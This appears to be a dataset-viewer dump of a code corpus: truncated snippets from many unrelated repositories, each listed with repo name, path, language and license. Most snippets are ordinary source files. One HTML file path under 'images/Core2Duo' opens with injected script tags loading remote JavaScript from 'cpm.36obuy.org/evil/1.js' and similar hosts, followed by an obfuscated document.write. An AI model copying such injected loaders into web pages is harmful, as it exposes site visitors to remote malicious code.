code stringlengths 3 1.01M | repo_name stringlengths 5 116 | path stringlengths 3 311 | language stringclasses 30
values | license stringclasses 15
values | size int64 3 1.01M |
|---|---|---|---|---|---|
# -*- coding: utf-8 -*-
from mock import patch
import os
import pprint
import shutil
import subprocess
import unittest
from pyspatialite import dbapi2 as db
import qgis.core # Need to import this before PyQt to ensure QGIS parts work
from PyQt4.QtSql import QSqlQuery, QSqlDatabase
from Roadnet.database import conne... | thinkWhere/Roadnet | tests/integration/test_wdm.py | Python | gpl-2.0 | 8,439 |
<?php
/*
* Template Name: Constant Contact
*/
get_header(); ?>
<?php
while ( have_posts() ) : the_post(); ?>
<style>
.ctct-inline-form {
max-width: 80ch;
margin: 0 auto;
}
.ctct-form-defaults {
background: transparent !important;
}
</style>
<?php the_content(); ?>
<?php endwhile; ?>
<?p... | anderspollack/c2st-2017 | page-constant-contact.php | PHP | gpl-2.0 | 340 |
#!/usr/bin/python2
import check
from fractions import gcd
# Algorithm taken from en.wikipedia.org/wiki/Line-line-_intersection
# All code written by Joel Williamson
## intersection: Int Int Int Int Int Int Int Int -> (union "parallel" (tuple Int Int Int Int))
##
## Purpose: Treating the input as 4 pairs of integers,... | joelwilliamson/cs234 | a1/a01q2b.py | Python | gpl-2.0 | 3,280 |
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* ... | oonym/l2InterludeServer | L2J_Server/java/net/sf/l2j/gameserver/serverpackets/StopRotation.java | Java | gpl-2.0 | 1,586 |
<?php
/**
* Single team member
*
* @author Miguel Gonzalez <miguel-gonzalez@gmx.de>
* @since 1.0
* @version 1.0
* @link http://my-reality.de Website of the author
* @copyright (c) 2013, Miguel Gonzalez
*/
include_once 'SocialNetwork.php';
class TeamMember {
// Name of the member
private $name;
... | MyRealityCoding/dawn-website | core/team/TeamMember.php | PHP | gpl-2.0 | 2,148 |
/*
* drivers/usb/gadget/f_mass_storage.c
*
* Function Driver for USB Mass Storage
*
* Copyright (C) 2008 Google, Inc.
* Author: Mike Lockwood <lockwood@android.com>
*
* Based heavily on the file_storage gadget driver in
* drivers/usb/gadget/file_storage.c and licensed under the same terms:
*
* Copyright (C) ... | playfulgod/Kernel_AS85-LG-Ignite | drivers/usb/gadget/f_auto_run.c | C | gpl-2.0 | 116,177 |
<?php require "dbconfig.php";
if(isset($_GET["puntajecant"])){
$puntajeget = $_GET["puntajecant"];
}else{
$puntajeget=0;
} ?>
<!DOCTYPE html>
<meta charset="utf-8">
<title>¡Veo veo!</title>
<!-- Bootstrap core CSS -->
<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scal... | Mindtaker/VeoVeo | main.php | PHP | gpl-2.0 | 14,474 |
<?php
/*
* @version $Id$
-------------------------------------------------------------------------
GLPI - Gestionnaire Libre de Parc Informatique
Copyright (C) 2015-2016 Teclib'.
http://glpi-project.org
based on GLPI - Gestionnaire Libre de Parc Informatique
Copyright (C) 2003-2014 by the INDEPNET Development ... | TECLIB/glpi | front/location.php | PHP | gpl-2.0 | 1,257 |
package com.iarekylew00t.helpers;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.nio.file.Files;
import java.nio.fil... | KazeEspada/IRCBot | com/iarekylew00t/helpers/FileHelper.java | Java | gpl-2.0 | 3,996 |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>elFinder 2.0</title>
<!-- jQuery and jQuery UI (REQUIRED) -->
<link rel="stylesheet" type="text/css" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.23/themes/smoothness/jquery-ui.css">
<script src="http://ajax.googleapis.com/ajax/libs/jque... | Gugis/laravel-cms | public/assets/elFinder/elfinder-tinymce.html | HTML | gpl-2.0 | 6,210 |
/*
* This file is part of CrappyDB-Server,
* developed by Luca Bonmassar <luca.bonmassar at gmail.com>
*
* CrappyDB-Server is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the Li... | openmosix/crappydb | src/test/java/org/bonmassar/crappydb/server/storage/data/TestVeryVeryLongKey.java | Java | gpl-2.0 | 1,672 |
/*
* Copyright (C) 2015 Collaboratory
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is dist... | nanobox-apps/sample-java | dockstore-webservice/src/main/java/io/dockstore/webservice/resources/UserResource.java | Java | gpl-2.0 | 18,968 |
# -*- coding: utf-8 -*-
__author__ = 'Eren Turkay <turkay.eren@gmail.com>'
from scrapy import log
from scrapy.http import Request
from scrapy.exceptions import CloseSpider
from datetime import datetime
from . import GenericSozlukSpider
from ..items import Girdi
class ItusozlukBaslikSpider(GenericSozlukSpider):
... | eren/sozlukcrawler | sozlukcrawl/spiders/itusozluk.py | Python | gpl-2.0 | 2,234 |
<?php
$type = str_replace('mojo-', '', sanitize_title_for_query(wp_unslash($_GET['page'])));
$query = array(
'category' => 'wordpress',
'type' => $type,
'count' => 20,
'order' => 'sales',
'direction' => (isset($_GET['direction'])) ? $_GET['direction'] : '',
);
if (isset($_GET['paged']) && is_numeric... | oferca75/my_repo | wp-content/plugins/mojo-marketplace-wp-plugin/pages/mojo-services.php | PHP | gpl-2.0 | 10,333 |
package org.mo.eng.store;
import org.mo.com.lang.FObjects;
//============================================================
// <T>XML行集合。</T>
//============================================================
public class FXmlRows
extends FObjects<FXmlRow>
{
//======================================================... | favedit/MoPlatform | mo-2-core/src/engine-java/org/mo/eng/store/FXmlRows.java | Java | gpl-2.0 | 493 |
/*******************************************************************************
* Software Name : RCS IMS Stack
*
* Copyright (C) 2010 France Telecom S.A.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a cop... | rex-xxx/mt6572_x201 | mediatek/packages/apps/RCSe/core/src/com/orangelabs/rcs/core/ims/service/im/chat/event/ConferenceInfoDocument.java | Java | gpl-2.0 | 3,202 |
package edu.zju.bme.clever.management.service.repository;
import java.util.List;
import java.util.Set;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.Query;
import edu.zju.bme.clever.management.service.entity.User;
public interface UserRepository extends... | ZJU-BME-VICO/clever-managment | clever-management-service/src/main/java/edu/zju/bme/clever/management/service/repository/UserRepository.java | Java | gpl-2.0 | 625 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_65) on Sun Jan 11 16:07:03 EST 2015 -->
<title>Side (Forge API)</title>
<meta name="date" content="2015-01-11">
<link rel="stylesheet" ... | Gullanshire/Minecraft_Mod-The_Exorcist | 1.7.10_Forge_Documents/cpw/mods/fml/relauncher/Side.html | HTML | gpl-2.0 | 12,831 |
/*
* This is the source code of Telegram for Android v. 3.x.x.
* It is licensed under GNU GPL v. 2 or later.
* You should have received a copy of the license in this archive (see LICENSE).
*
* Copyright Nikolai Kudashov, 2013-2016.
*/
package com.panahit.ui.Adapters;
import android.content.Context;
import andro... | tooskagroup/test | TMessagesProj/src/main/java/com/panahit/ui/Adapters/CountryAdapter.java | Java | gpl-2.0 | 5,604 |
<select onchange="document.location.replace(this.value);" class="inputbox">
<option selected="selected" value="index.php"><span style="background:url(media/mod_languages/images/en.gif);height:32px;width:32px;display:block;"></span>English</option>
<option value="index.php" dir="ltr"> Français </option>
</select> | anwar31dec/lptt | administrator/components/com_jcode/source/language_switcher.php | PHP | gpl-2.0 | 319 |
<?php
/**
* @brief expiretokens Task
* @author <a href='http://www.invisionpower.com'>Invision Power Services, Inc.</a>
* @copyright (c) 2001 - 2016 Invision Power Services, Inc.
* @license http://www.invisionpower.com/legal/standards/
* @package IPS Community Suite
* @subpackage oauth2server
* @since 26 Au... | wohali/ips4-oauth2-server | tasks/expiretokens.php | PHP | gpl-2.0 | 1,538 |
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script>
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '0... | ForAEdesWeb/AEW2 | images/Core2Duo/020412085o15il.html | HTML | gpl-2.0 | 47,772 |
/*
Copyright (c) 2008, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.5.0
*/
/*foundational css*/
.yui-dt-table th, .yui-dt-table td {
overflow:hidden;
}
th .yui-dt-header {
position:relative;
}
th .yui-dt-label {
posit... | alx/blogsfera | wp-includes/js/yui/2.5.0/build/datatable/assets/datatable.css | CSS | gpl-2.0 | 950 |
<?php
/**
* The Template for displaying all single posts.
*
* @package WordPress
* @subpackage Twenty_Ten
* @since Twenty Ten 1.0
*/
get_header(); ?>
<div id="container">
<div id="content" role="main">
<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<h1 class="entry-title"... | nathankinkeadgate6/gbcphoenix | wp-content/plugins/sermon-manager-for-wordpress/views/single-wpfc_sermon.php | PHP | gpl-2.0 | 1,174 |
<!DOCTYPE html>
<html lang="zh-cn">
<!-- Mirrored from www.w3school.com.cn/tiy/t.asp?f=hdom_timing2 by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 02 Dec 2015 00:59:08 GMT -->
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=GB2312" /><!-- /Added by HTTrack -->
<head>
<meta charset... | platinhom/ManualHom | Coding/W3School/W3CN/www.w3school.com.cn/tiy/ta25f.html | HTML | gpl-2.0 | 2,931 |
/* created by click/linuxmodule/fixincludes.pl on Tue Nov 25 22:39:41 2014 */
/* from /lib/modules/2.6.27.5-117.fc10.i686/build/include/config/scsi/dh/emc.h */
| songxingshen/myclick | include/click-linuxmodule/include0/config/scsi/dh/emc.h | C | gpl-2.0 | 160 |
<?php
/**
* @desc Modify from component Media Manager of Joomla
*
*/
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die( 'Restricted access' );
jimport('joomla.application.component.model');
/**
* Weblinks Component Weblink Model
*
* @package Joomla
* @subpackage Content
* @since 1... | rlee1962/diylegalcenter | administrator/components/com_jaextmanager/models/repo.php | PHP | gpl-2.0 | 3,426 |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/**
* @fileOverview Defines the {@link CKEDITOR.lang} object, for the
* Danish language.
*/
/**#@+
@type String
@example
*/
/**
* Constains the dictionary of lan... | teiman/qualidoc | js/ckeditor/_source/lang/da.js | JavaScript | gpl-2.0 | 21,815 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
<title>KD Chart 2: Class Members - Functions</title>
<link href="doxygen.css" rel="stylesheet" type="text/css">
<link href="tabs.css" rel="stylesheet" type="text/css">
</he... | JeremiasE/KFormula | kchart/kdchart/doc/refman/functions_func_0x69.html | HTML | gpl-2.0 | 12,131 |
/* Test that stack overflow and SIGSEGV are correctly distinguished.
Copyright (C) 2002-2006, 2008 Bruno Haible <bruno@clisp.org>
Copyright (C) 2010 Eric Blake <eblake@redhat.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as p... | Nemo157/libsigsegv | tests/stackoverflow2.c | C | gpl-2.0 | 5,250 |
\hypertarget{segmenter_8hpp}{\section{Sources/\+Segmentation/segmenter.hpp File Reference}
\label{segmenter_8hpp}\index{Sources/\+Segmentation/segmenter.\+hpp@{Sources/\+Segmentation/segmenter.\+hpp}}
}
{\ttfamily \#include $<$stdio.\+h$>$}\\*
Include dependency graph for segmenter.\+hpp\+:\nopagebreak
\begin{figure}[H... | lopespt/PhD-Thesis | Docs/latex/segmenter_8hpp.tex | TeX | gpl-2.0 | 766 |
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\Weee\Test\Unit\Pricing;
use Magento\Weee\Pricing\TaxAdjustment;
class TaxAdjustmentTest extends \PHPUnit\Framework\TestCase
{
/**
* @var TaxAdjustment
*/
protected $adjustment;
... | kunj1988/Magento2 | app/code/Magento/Weee/Test/Unit/Pricing/TaxAdjustmentTest.php | PHP | gpl-2.0 | 5,732 |
/*
* platform_mt9m114.c: mt9m114 platform data initilization file
*
* (C) Copyright 2008 Intel Corporation
* Author:
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; version 2
* of the... | kamarush/ZTE_GXIn_Kernel-3.0.8 | arch/x86/platform/intel-mid/device_libs/platform_mt9m114.c | C | gpl-2.0 | 3,608 |
/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 8 -*-
*
* Copyright (C) 2007 William Jon McCann <mccann@jhu.edu>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; eith... | mariodebian/gdm3 | daemon/gdm-server.h | C | gpl-2.0 | 2,395 |
import osclib.api
import osc.conf
import os
import os.path
import vcr
import pytest
import requests
TESTROOT = os.path.join(pytest.config.rootdir, "osclib-tests")
OSCRC = os.path.join(TESTROOT, "oscrc", "oscrc_test_api")
VCRROOT = os.path.join(TESTROOT, "fixtures", "vcr")
def test_default_api(monkeypatch):
""... | matejcik/osc | osclib-tests/test_api.py | Python | gpl-2.0 | 3,172 |
#include <modules/Box2D/World.h>
#include <panda/object/ObjectFactory.h>
#include <memory>
namespace panda
{
using types::Path;
using types::Point;
class Box2D_World : public DockObject
{
public:
PANDA_CLASS(Box2D_World, DockObject)
Box2D_World(PandaDocument* doc)
: DockObject(doc)
, m_gravity(initData(Poi... | cguebert/Panda | modules/Box2D/World.cpp | C++ | gpl-2.0 | 3,690 |
all: library samples
# OpenMP support
#OPENMP_CFLAGS=-fopenmp
# Demosaic Pack GPL2:
#CFLAGS_DP2=-I../LibRaw-demosaic-pack-GPL2
#CFLAGS2=-DLIBRAW_DEMOSAIC_PACK_GPL2
# Demosaic Pack GPL3:
#CFLAGS_DP3=-I../LibRaw-demosaic-pack-GPL3
#CFLAGS3=-DLIBRAW_DEMOSAIC_PACK_GPL3
# Jasper support for RedCine
#CFLAGS+=-DUSE_JASPE... | LoucIsZbib/NOVA | res/libraw/Makefile | Makefile | gpl-2.0 | 4,176 |
/** ===========================================================
* @file
*
* This file is a part of kipi-plugins project
* <a href="http://www.digikam.org">http://www.digikam.org</a>
*
* @date 2009-11-21
* @brief Central object for managing bookmarks
*
* @author Copyright (C) 2009,2010 by Michael G. Hansen
... | matthias-fue/kipi-plugins | geolocator/gpsbookmarkowner.cpp | C++ | gpl-2.0 | 10,229 |
<?php
/**
* HUBzero CMS
*
* Copyright 2005-2015 HUBzero Foundation, LLC.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
... | mulligaj/hubzero-cms | core/components/com_answers/site/views/questions/tmpl/search.php | PHP | gpl-2.0 | 15,054 |
<?php
/**
* This function will display a control to move a page
* Warning: Do not change values for field names w/o also updating the save procedure.
*
* @todo Add a recursive check to make sure that this page isn't having its parentpage to set a child page. At the moment,
* the sql query prevents it from being... | pzingg/saugus_elgg | mod/folio/control/page_edit_move.php | PHP | gpl-2.0 | 4,277 |
# Be sure to restart your server when you modify this file.
# Version of your assets, change this if you want to expire all your assets.
Rails.application.config.assets.version = '1.0'
Rails.application.config.assets.precompile << /\.(?:svg|eot|woff|ttf|svgz|otf)\z/
# Add additional assets to the asset load path
# Ra... | l3iodeez/Project-Cohort | config/initializers/assets.rb | Ruby | gpl-2.0 | 568 |
<?php
define("EW_PAGE_ID", "view", TRUE); // Page ID
define("EW_TABLE_NAME", 'tbl_aduser', TRUE);
?>
<?php
session_start(); // Initialize session data
ob_start(); // Turn on output buffering
?>
<?php include "ewcfg50.php" ?>
<?php include "ewmysql50.php" ?>
<?php include "phpfn50.php" ?>
<?php include "tbl_aduserinfo.... | xavierrivas/new | epcst/pcad/tbl_aduserview.php | PHP | gpl-2.0 | 11,130 |
<?php
/**
* @package Gamuza_Desktop
* @description Visual Component Library for Magento
* @copyright Copyright (c) 2017 Gamuza Technologies (http://www.gamuza.com.br/)
* @author Eneias Ramos de Melo <eneias@gamuza.com.br>
*
* This library is free software; you can redistribute it and/or
* modify it un... | gamuzatech/gamuza_desktop-magento | lib/Gamuza/Desktop/Gtk/TTextBuffer.php | PHP | gpl-2.0 | 10,763 |
<div class='lotusjeff_showtemplate'>simple_footer_after</div>
| LotusJeff/showtemplate | styles/all/template/event/simple_footer_after.html | HTML | gpl-2.0 | 62 |
/*
* dselect - Debian package maintenance user interface
* method.cc - access method handling
*
* Copyright © 1995 Ian Jackson <ijackson@chiark.greenend.org.uk>
* Copyright © 2001,2002 Wichert Akkerman <wakkerma@debian.org>
*
* This is free software; you can redistribute it and/or modify
* it under the terms of... | pexip/os-dpkg | dselect/method.cc | C++ | gpl-2.0 | 6,514 |
#include "stdafx.h"
#include "Utilities/VirtualMemory.h"
#include "Crypto/sha1.h"
#include "Crypto/unself.h"
#include "Loader/ELF.h"
#include "Emu/System.h"
#include "Emu/IdManager.h"
#include "Emu/Cell/PPUOpcodes.h"
#include "Emu/Cell/PPUModule.h"
#include "Emu/Cell/PPUAnalyser.h"
#include "Emu/Cell/lv2/sys_prx.h"
... | rcaridade145/rpcs3 | rpcs3/Emu/Cell/PPUModule.cpp | C++ | gpl-2.0 | 36,936 |
<?php
/*******************************************************
Posts Likes Functions
*******************************************************/
/**
* Create ShortCode: [wp_ulike]
*
* @author Alimir
* @since 1.4
* @return wp_ulike button
*/
add_shortcode( 'wp_ulike', 'wp... | poweronio/mbsite | wp-content/plugins/wp-ulike/inc/wp-functions.php | PHP | gpl-2.0 | 19,845 |
/* This file is part of the KDE project
Copyright (C) 2006 Kevin Ottens <ervin@kde.org>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public
License version 2 as published by the Free Software Foundation.
This library is distrib... | vasi/kdelibs | kdecore/tests/kjobtest.cpp | C++ | gpl-2.0 | 11,547 |
-- create network topology tables
set serveroutput on size 1000000
set trimspool on
set long 5000
set linesize 123
set pagesize 9999
set numwidth 15
set timing on
set termout on
set wrap off;
/*
ïîñòðîèòü òîïîëîãè÷åñêóþ ñåòü:
pipegeom - òðóáû
boilgeom - óçëû, ïîòðåáèòåëè, çàäâèæêè
boltgeom - óçëû, çàäâèæêè
g... | vasnake/als | oracle/create.topo.net.01.sql | SQL | gpl-2.0 | 3,077 |
.sidebar {
*left: 0;
}
.sidebar:before {
display: none;
}
.ace-nav > li.white-opaque {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#CCFFFFFF',endColorstr='#CCFFFFFF',GradientType=0);
}
.ace-nav > li.dark-opaque {
filter: progid:DXImageTransform.Microsoft.gradient(sta... | DonnotRain/NoRainWeb | Code/NoRain.MainWeb/BackAssets/css/ace-ie.min.css | CSS | gpl-2.0 | 8,006 |
/*
* Copyright (C) 2005-2011 Team XBMC
* http://www.xbmc.org
*
* This Program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
... | chris-magic/xbmc_dualaudio_pvr | xbmc/guilib/DirtyRegionTracker.cpp | C++ | gpl-2.0 | 2,549 |
/* vim:ts=2
*
* CS162, Lab3: File I/O
* Shoshana Abrass
* abrasss@onid.oregonstate.edu
* Jan 25, 2015
*
* Merge two files that each contains sorted integers
* Write the results to a third file
*
* Input files should be read one line at a time.
*
* Design choices:
* Silently supress duplicates... | Maker23/osu_classes | cs162/Finished/Lab3/Lab3.cpp | C++ | gpl-2.0 | 12,949 |
/* packet-mbtcp.c
* Routines for Modbus/TCP and Modbus/UDP dissection
* By Riaan Swart <rswart@cs.sun.ac.za>
* Copyright 2001, Institute for Applied Computer Science
* University of Stellenbosch
*
* See http://www.modbus.org/ for information on Modbus/TCP.
*
* Updated to v1.1b of the Modbus Ap... | weizhenwei/wireshark | epan/dissectors/packet-mbtcp.c | C | gpl-2.0 | 88,995 |
/*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* Copyright (C) 2012-2014 PIVA SOFTWARE (www.pivasoftware.com... | carrierwrt/easycwmp | src/xml.c | C | gpl-2.0 | 46,418 |
<?php
/**
* Removing WordPress version from HEAD and RSS
*
*/
function disable_version() {
return '';
}
add_filter('the_generator','disable_version');
remove_action('wp_head', 'wp_generator');
| weupnorth/WordPress-Must-Use-Plugins | wun-head-cleanup.php | PHP | gpl-2.0 | 202 |
package token
import(
"fmt"
)
type Token struct {
Type
Lit []byte
Pos
}
type Type int
const(
INVALID Type = iota
EOF
)
type Pos struct {
Offset int
Line int
Column int
}
func (this Pos) String() string {
return fmt.Sprintf("Pos(offset=%d, line=%d, column=%d)", this.Offset, this.Line, this.Column)
}
ty... | crackcell/hpipe | dag/symbol/token/token.go | GO | gpl-2.0 | 1,383 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.4.2_11) on Tue Mar 14 21:50:52 EST 2006 -->
<TITLE>
Uses of Class org.farng.mp3.AbstractMP3Tag (jid3lib 0.5.4)
</TITLE>
<LINK REL ="styleshee... | ibnoe/steganography-dalam-file-music-mp3 | stegaMP3/jid3lib-0.5.4/jid3lib-0.5.4/api/org/farng/mp3/class-use/AbstractMP3Tag.html | HTML | gpl-2.0 | 41,474 |
/**
*
* Distributed Surface Energy Balance (SEB) model source code (developed for my PhD)
* Copyright (C) 2013 Chris Williams
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either... | Chris35Wills/SEB_model_java_files | SEB_model/source_code/Historical_Model_Aspect_Fixed_LARGE_FILES.java | Java | gpl-2.0 | 138,178 |
///////////////////////////////////////////////////////////////////////////////
// Name: src/generic/choicbkg.cpp
// Purpose: generic implementation of wxChoicebook
// Author: Vadim Zeitlin
// Modified by: Wlodzimierz ABX Skiba from generic/listbkg.cpp
// Created: 15.09.04
// RCS-ID: $Id:... | Zombiebest/Dolphin | Externals/wxWidgets3/src/generic/choicbkg.cpp | C++ | gpl-2.0 | 8,542 |
<?php
/*
+--------------------------------------------------------------------+
| CiviCRM version 4.6 |
+--------------------------------------------------------------------+
| Copyright CiviCRM LLC (c) 2004-2015 |
+---------------... | acappellamaniac/eva_website | sites/all/modules/civicrm/CRM/Batch/BAO/Batch.php | PHP | gpl-2.0 | 27,126 |
<?php
prado::using ('Application.pages.m.report.MainPageReports');
class JenisPembangunan extends MainPageReports {
public function onLoad ($param) {
parent::onLoad ($param);
$this->showJenisPembangunan=true;
$this->createObjKegiatan();
$this->createObjFinance();
if (!$this->... | ibnoe/simonev | protected/pages/m/report/JenisPembangunan.php | PHP | gpl-2.0 | 11,218 |
{namespace s=Subugoe\Find\ViewHelpers}
<f:comment>
Uses the facet items to create a popup menu with an autocomplete field
to let the user easily find a specific item in the facet and use it as
a filter.
You need to configure your page to load the required JavaScript library
(jQuery.chosen) to make it work. See t... | subugoe/typo3-find | Resources/Private/Partials/Facets/Facet/List/Autocomplete.html | HTML | gpl-2.0 | 1,176 |
/**
* This file was changed in order to make it compilable
* with GWT and to integrate it in the JavaInTheBrowser
* project (http://javainthebrowser.appspot.com).
*
* Date: 2013-05-14 ... | ctalau/javainthebrowser | src/javac/com/sun/tools/javac/api/JavacTaskImpl.java | Java | gpl-2.0 | 20,056 |
r"""A proxy enabling multiple wiring guide instances to interact with the same
SpiNNaker boards.
A very simple protocol is used between the client and server. Clients may send
the following new-line delimited commands to the server:
* ``VERSION,[versionstring]\n`` The server will disconnect any client with an
incom... | SpiNNakerManchester/SpiNNer | spinner/proxy.py | Python | gpl-2.0 | 8,272 |
package dpp.bookstore.action.user;
import javax.servlet.http.HttpServletRequest;
import org.apache.struts2.ServletActionContext;
import com.opensymphony.xwork2.ActionSupport;
import dpp.bookstore.pojo.User;
import dpp.bookstore.service.UserService;
public class EditPasswordAction extends ActionSupport {
public st... | fidy1995/SE223-Database | Bookstore-SSH/src/dpp/bookstore/action/user/EditPasswordAction.java | Java | gpl-2.0 | 2,685 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible"content="IE=9; IE=8; IE=7; IE=EDGE">
<meta http-equiv="Content-Type... | ForAEdesWeb/AEW25 | logs/meng/q468119.html | HTML | gpl-2.0 | 24,563 |
/*
* i-scream libstatgrab
* http://www.i-scream.org
* Copyright (C) 2000-2013 i-scream
* Copyright (C) 2010-2013 Jens Rehsack
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either ver... | campus-explorer/dpkg-libstatgrab | examples/user_list.c | C | gpl-2.0 | 2,011 |
#popup_container {
font-family: Arial, sans-serif;
font-size: 12px;
min-width: 300px; /* Dialog will be no smaller than this */
max-width: 600px; /* Dialog will wrap after this width */
background: #FFF;
border: solid 5px #999;
color: #000;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
border... | iriber/turnos-ui | css/jquery/jquery.alerts.css | CSS | gpl-2.0 | 1,136 |
#include<iostream>
#include<cstdio>
#include<cstring>
//#include<vector>
#include<algorithm>
#define U_DEBUG
#define L_JUDGE
#ifdef L_JUDGE
#pragma warning(disable:4996)
#endif
using namespace std;
const int MAXN=2e4+10;
const int MAXM=2e5+10;
#define MEM(x,a) memset(x,a,sizeof(x))
int top,first[MAXN],adj[MAXM],to... | fangtanchen/Learning | 1_Algorithm/HihoCodes/1184_Edge_Biconnected_Component/3.cpp | C++ | gpl-2.0 | 1,978 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CRAN - Package flowfield</title>
<link rel="stylesheet" type="text/css" href="../../CRAN_web.css" />
<meta http-equiv="Content-Type" content="text/html;... | esander91/NamespacePollution | Code/GetMetaDataFromCRAN/raw_html/flowfield.html | HTML | gpl-2.0 | 2,596 |
DELETE FROM `rbac_permissions` WHERE `id`=1011;
DELETE FROM `rbac_linked_permissions` WHERE `linkedId`=1011;
INSERT INTO `rbac_permissions` (`id`, `name`) VALUES
(1011, 'Command: psay');
INSERT INTO `rbac_linked_permissions` (`id`,`linkedId`) VALUES
(195, 1011); | mk52140/SCore_TC | sql/custom/auth/2016_07_10_auth_pet_chat.sql | SQL | gpl-2.0 | 265 |
/* Copyright Statement:
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein is
* confidential and proprietary to MediaTek Inc. and/or its licensors. Without
* the prior written permission of MediaTek inc. and/or ... | rex-xxx/mt6572_x201 | mediatek/hardware/camera/device/CamDeviceManager/CamDeviceManager.cpp | C++ | gpl-2.0 | 11,262 |
#include <kernel.h>
#include <version.h>
#include <tape.h>
#include <kdata.h>
#include <devlpr.h>
#include <printf.h>
#include <devstringy.h>
/*
* Stringy tape wrapper. Note that the asm code uses the ROM which
* also uses some values in 0x40xx (40B1 and 401A in particular)
*/
static uint8_t fileid = 1;
static uin... | erkinalp/FUZIX | Kernel/platform-trs80m1/devstringy.c | C | gpl-2.0 | 4,324 |
var express = require('express'),
xml2js = require('xml2js'),
parser = new xml2js.Parser({explicitArray: false, mergeAttrs: true, explicitRoot: false});
var xmlBodyParser = function(req, res, next) {
if (req._body) return next();
req.body = req.body || {};
// ignore GET
if ('GET' == req.method... | MegaPirateNG/FlashTool | server-side/src/lib/server.js | JavaScript | gpl-2.0 | 1,816 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>KCFinder: /<?php echo $this->session['dir'] ?></title>
<?php INCLUDE "tpl/tpl__css.php" ?>
<?php INCLUDE "tpl/tpl__javascript.php" ?>
</head>
<body>
<sc... | ru4/arabbnota | kcfinder/tpl/tpl_browser.php | PHP | gpl-2.0 | 3,431 |
<?php
/**
* File containing the eZ\Publish\Core\Repository\Values\Content\ContentUpdateStruct class.
*
* @copyright Copyright (C) 1999-2014 eZ Systems AS. All rights reserved.
* @license http://www.gnu.org/licenses/gpl-2.0.txt GNU General Public License v2
* @version //autogentag//
*/
namespace eZ\Publish\Core\R... | glye/ezpublish-kernel | eZ/Publish/Core/Repository/Values/Content/ContentUpdateStruct.php | PHP | gpl-2.0 | 1,689 |
##############################################################################
##
## Utility to registry and file access APIs.
##
## Microsoft Research Detours Package, Version 3.0.
##
## Copyright (c) Microsoft Corporation. All rights reserved.
##
!include ..\common.mak
LIBS=$(LIBS) advapi32.lib
